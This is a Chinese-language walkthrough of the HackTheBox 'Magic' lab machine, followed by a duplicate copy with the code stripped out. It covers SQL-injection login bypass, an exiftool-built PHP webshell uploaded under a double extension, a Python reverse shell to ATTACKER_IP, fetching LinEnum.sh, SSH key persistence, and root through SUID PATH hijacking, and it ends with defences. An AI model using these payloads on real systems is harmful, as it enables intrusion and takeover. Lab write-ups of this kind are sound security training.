记一次对HTB_magic的渗透测试
字数 1208 2025-08-12 11:33:35

HTB_magic渗透测试详细教学文档

靶机概述

HTB_magic是一个基于Web应用的渗透测试靶机,主要涉及以下技术点:

  • SQL注入绕过登录
  • 双扩展名Webshell上传绕过过滤
  • 数据库凭证泄露
  • SUID二进制文件路径劫持提权

信息收集阶段

1. 端口扫描

使用nmap进行基础扫描:

nmap -sV -T4 10.10.10.185

发现开放服务:

  • 22/tcp - SSH
  • 80/tcp - HTTP (Apache)

2. Web应用枚举

访问Web界面,发现登录页面,可能存在SQL注入漏洞。

漏洞利用阶段

1. SQL注入绕过登录

使用万能密码进行登录:

用户名: admin' or '1'='1
密码: 任意值

或使用其他常见payload:

admin' --
admin' or 1=1--

2. Webshell上传

生成图片马

使用exiftool工具将PHP代码嵌入图片:

exiftool -Comment='<?php system($_REQUEST["cmd"]);?>' 1.png -o 1.php.png

上传技巧

直接上传.png会被拦截,使用双扩展名绕过:

  • 原始文件名:1.png → 被拦截
  • 修改后文件名:1.php.png → 上传成功

上传路径通常为:/images/uploads/

3. 命令执行与反弹Shell

访问上传的Webshell:

http://10.10.10.185/images/uploads/1.php.png?cmd=whoami

使用Python3反弹Shell(注意修改IP和端口):

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",8833));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

在攻击机监听:

nc -lvnp 8833

权限提升阶段

1. 数据库凭证获取

查找数据库文件:

find / -name "*.db" 2>/dev/null

常见位置:

  • /var/www/html/db/
  • /opt/application/db/

使用找到的凭证登录MySQL:

mysql -u username -p

2. 用户切换

从数据库中找到用户凭证后:

su username
输入找到的密码

3. SSH公钥认证

生成SSH密钥对:

ssh-keygen

将公钥写入目标机:

echo "ssh-rsa YOUR_PUBLIC_KEY" >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys

从攻击机连接:

ssh -i id_rsa username@10.10.10.185

4. 系统枚举

下载并运行LinEnum.sh:

wget http://ATTACKER_IP/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh

重点关注:

  • SUID/SGID文件
  • 可写目录
  • 环境变量

5. SUID二进制文件提权

发现可疑SUID文件:

/bin/sysinfo

检查文件属性:

file /bin/sysinfo

分析发现该二进制文件调用了popen()但没有使用完整路径,易受路径劫持攻击。

提权步骤

  1. 创建恶意free程序:
echo '#!/bin/bash' > /tmp/free
echo 'bash -p' >> /tmp/free
chmod +x /tmp/free
  1. 修改PATH环境变量:
export PATH="/tmp:$PATH"
  1. 执行sysinfo程序:
/bin/sysinfo
  1. 获取root shell后:
cd /root
cat root.txt

技术原理分析

1. 双扩展名绕过

Apache配置可能包含:

<FilesMatch ".+\.ph(p[3457]?|t|tml)$">
    SetHandler application/x-httpd-php
</FilesMatch>

允许.php.png等文件被解析为PHP。

2. 路径劫持原理

当程序调用系统命令(如popen("free"))而不使用完整路径时,系统会按PATH环境变量顺序查找可执行文件。通过控制PATH,可让程序执行我们准备的恶意版本。

防御措施

  1. 防止SQL注入

    • 使用参数化查询
    • 实施输入验证
    • 最小权限原则
  2. 文件上传防护

    • 检查文件内容而不仅是扩展名
    • 存储在Web根目录外
    • 禁用脚本执行权限
  3. 权限提升防护

    • SUID二进制文件审查
    • 使用完整路径调用系统命令
    • 限制环境变量修改
  4. 系统加固

    • 定期更新补丁
    • 最小化服务暴露
    • 实施适当的文件权限

总结

HTB_magic靶机展示了从Web应用到系统级的完整攻击链,强调了安全开发实践和系统配置的重要性。通过这个练习,可以深入理解常见漏洞的利用方式和防御策略。

HTB_ magic渗透测试详细教学文档 靶机概述 HTB_ magic是一个基于Web应用的渗透测试靶机,主要涉及以下技术点: SQL注入绕过登录 双扩展名Webshell上传绕过过滤 数据库凭证泄露 SUID二进制文件路径劫持提权 信息收集阶段 1. 端口扫描 使用nmap进行基础扫描: 发现开放服务: 22/tcp - SSH 80/tcp - HTTP (Apache) 2. Web应用枚举 访问Web界面,发现登录页面,可能存在SQL注入漏洞。 漏洞利用阶段 1. SQL注入绕过登录 使用万能密码进行登录: 或使用其他常见payload: 2. Webshell上传 生成图片马 使用exiftool工具将PHP代码嵌入图片: 上传技巧 直接上传.png会被拦截,使用双扩展名绕过: 原始文件名:1.png → 被拦截 修改后文件名:1.php.png → 上传成功 上传路径通常为: /images/uploads/ 3. 命令执行与反弹Shell 访问上传的Webshell: 使用Python3反弹Shell(注意修改IP和端口): 在攻击机监听: 权限提升阶段 1. 数据库凭证获取 查找数据库文件: 常见位置: /var/www/html/db/ /opt/application/db/ 使用找到的凭证登录MySQL: 2. 用户切换 从数据库中找到用户凭证后: 3. SSH公钥认证 生成SSH密钥对: 将公钥写入目标机: 从攻击机连接: 4. 系统枚举 下载并运行LinEnum.sh: 重点关注: SUID/SGID文件 可写目录 环境变量 5. SUID二进制文件提权 发现可疑SUID文件: 检查文件属性: 分析发现该二进制文件调用了 popen() 但没有使用完整路径,易受路径劫持攻击。 提权步骤 创建恶意free程序: 修改PATH环境变量: 执行sysinfo程序: 获取root shell后: 技术原理分析 1. 双扩展名绕过 Apache配置可能包含: 允许.php.png等文件被解析为PHP。 2. 路径劫持原理 当程序调用系统命令(如 popen("free") )而不使用完整路径时,系统会按PATH环境变量顺序查找可执行文件。通过控制PATH,可让程序执行我们准备的恶意版本。 防御措施 防止SQL注入 : 使用参数化查询 实施输入验证 最小权限原则 文件上传防护 : 检查文件内容而不仅是扩展名 存储在Web根目录外 禁用脚本执行权限 权限提升防护 : SUID二进制文件审查 使用完整路径调用系统命令 限制环境变量修改 系统加固 : 定期更新补丁 最小化服务暴露 实施适当的文件权限 总结 HTB_ magic靶机展示了从Web应用到系统级的完整攻击链,强调了安全开发实践和系统配置的重要性。通过这个练习,可以深入理解常见漏洞的利用方式和防御策略。